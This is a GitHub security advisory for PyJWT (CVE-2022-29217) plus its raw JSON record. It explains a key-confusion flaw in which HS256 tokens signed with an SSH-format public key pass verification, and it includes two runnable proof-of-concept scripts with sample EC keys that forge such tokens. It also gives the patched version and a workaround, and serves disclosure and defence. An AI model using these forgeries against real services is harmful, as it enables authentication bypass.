ghsa-ffqj-6fqr-9h24
Vulnerability from github
Published
2022-05-24 22:17
Modified
2024-10-15 16:18
Severity ?
7.4 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Summary
Key confusion through non-blocklisted public key formats
Details

Impact

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations.

PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".

```python import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ed25519

Generate ed25519 private key

private_key = ed25519.Ed25519PrivateKey.generate()

Get private key bytes as they would be stored in a file

priv_key_bytes = private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption())

Get public key bytes as they would be stored in a file

pub_key_bytes = private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

Making a good jwt token that should work by signing it with the

private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

Using HMAC with the public key to trick the receiver to think that the

public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

Both of the jwt tokens are validated as valid

decoded_good = jwt.decode(encoded_good, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:     print("POC Successfull")

Of course the receiver should specify ed25519 algorithm to be used if

they specify ed25519 public key. However, if other algorithms are used, the POC does not work

HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py

invalid_strings = [

b"-----BEGIN PUBLIC KEY-----",

b"-----BEGIN CERTIFICATE-----",

b"-----BEGIN RSA PUBLIC KEY-----",

b"ssh-rsa",

]

However, OKPAlgorithm (ed25519) accepts the following in

jwt/algorithms.py:

if "-----BEGIN PUBLIC" in str_key:

return load_pem_public_key(key)

if "-----BEGIN PRIVATE" in str_key:

return load_pem_private_key(key, password=None)

if str_key[0:4] == "ssh-":

return load_ssh_public_key(key)

These should most likely made to match each other to prevent this behavior

```

```python import jwt

openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem

openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem

ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub

priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY----- MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49 AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END EC PRIVATE KEY-----"""

pub_key_bytes = b"""-----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END PUBLIC KEY-----"""

ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""

Making a good jwt token that should work by signing it with the private key

encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")

Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret

encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")

Both of the jwt tokens are validated as valid

decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad: print("POC Successfull") else: print("POC Failed") ```

The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects.

Patches

Users should upgrade to v2.4.0.

Workarounds

Always be explicit with the algorithms that are accepted and expected when decoding.

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory: * Open an issue in https://github.com/jpadilla/pyjwt * Email José Padilla: pyjwt at jpadilla dot com

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyjwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-29217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-327"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-24T22:17:27Z",
    "nvd_published_at": "2022-05-24T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDisclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).\n\n\u003e PyJWT supports multiple different JWT signing algorithms. With JWT, an \n\u003e attacker submitting the JWT token can choose the used signing algorithm.\n\u003e \n\u003e The PyJWT library requires that the application chooses what algorithms \n\u003e are supported. The application can specify \n\u003e \"jwt.algorithms.get_default_algorithms()\" to get support for all \n\u003e algorithms. They can also specify a single one of them (which is the \n\u003e usual use case if calling jwt.decode directly. However, if calling \n\u003e jwt.decode in a helper function, all algorithms might be enabled.)\n\u003e \n\u003e For example, if the user chooses \"none\" algorithm and the JWT checker \n\u003e supports that, there will be no signature checking. This is a common \n\u003e security issue with some JWT implementations.\n\u003e \n\u003e PyJWT combats this by requiring that the if the \"none\" algorithm is \n\u003e used, the key has to be empty. As the key is given by the application \n\u003e running the checker, attacker cannot force \"none\" cipher to be used.\n\u003e \n\u003e Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is \n\u003e not a public key meant for asymmetric algorithm i.e. HMAC cannot be used \n\u003e if the key begins with \"ssh-rsa\". If HMAC is used with a public key, the \n\u003e attacker can just use the publicly known public key to sign the token \n\u003e and the checker would use the same key to verify.\n\u003e \n\u003e  From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. \n\u003e With ed25519, PyJWT supports public keys that start with \"ssh-\", for \n\u003e example \"ssh-ed25519\".\n\n```python\nimport jwt\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import ed25519\n\n# Generate ed25519 private key\nprivate_key = ed25519.Ed25519PrivateKey.generate()\n\n# Get private key bytes as they would be stored in a file\npriv_key_bytes = \nprivate_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, \nencryption_algorithm=serialization.NoEncryption())\n\n# Get public key bytes as they would be stored in a file\npub_key_bytes = \nprivate_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)\n\n# Making a good jwt token that should work by signing it with the \nprivate key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"EdDSA\")\n\n# Using HMAC with the public key to trick the receiver to think that the \npublic key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, pub_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n \u00a0\u00a0\u00a0 print(\"POC Successfull\")\n\n# Of course the receiver should specify ed25519 algorithm to be used if \nthey specify ed25519 public key. However, if other algorithms are used, \nthe POC does not work\n# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py\n#\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 invalid_strings = [\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"-----BEGIN PUBLIC KEY-----\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"-----BEGIN CERTIFICATE-----\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"-----BEGIN RSA PUBLIC KEY-----\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"ssh-rsa\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ]\n#\n# However, OKPAlgorithm (ed25519) accepts the following in \njwt/algorithms.py:\n#\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if \"-----BEGIN PUBLIC\" in str_key:\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return load_pem_public_key(key)\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if \"-----BEGIN PRIVATE\" in str_key:\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return load_pem_private_key(key, password=None)\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if str_key[0:4] == \"ssh-\":\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return load_ssh_public_key(key)\n#\n# These should most likely made to match each other to prevent this behavior\n```\n\n\n```python\nimport jwt\n\n#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem\n#openssl ec -in ec256-key-priv.pem -pubout \u003e ec256-key-pub.pem\n#ssh-keygen -y -f ec256-key-priv.pem \u003e ec256-key-ssh.pub\n\npriv_key_bytes = b\"\"\"-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49\nAwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk\nAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END EC PRIVATE KEY-----\"\"\"\n\npub_key_bytes = b\"\"\"-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL\nZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END PUBLIC KEY-----\"\"\"\n\nssh_key_bytes = b\"\"\"ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=\"\"\"\n\n# Making a good jwt token that should work by signing it with the private key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"ES256\")\n\n# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, ssh_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n    print(\"POC Successfull\")\nelse:\n    print(\"POC Failed\")\n```\n\n\u003e The issue is not that big as \n\u003e algorithms=jwt.algorithms.get_default_algorithms() has to be used. \n\u003e However, with quick googling, this seems to be used in some cases at \n\u003e least in some minor projects.\n\n### Patches\n\nUsers should upgrade to v2.4.0.\n\n### Workarounds\n\nAlways be explicit with the algorithms that are accepted and expected when decoding.\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/jpadilla/pyjwt\n* Email Jos\u00e9 Padilla: pyjwt at jpadilla dot com\n",
  "id": "GHSA-ffqj-6fqr-9h24",
  "modified": "2024-10-15T16:18:12Z",
  "published": "2022-05-24T22:17:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.4.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2022-202.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Key confusion through non-blocklisted public key formats"
}


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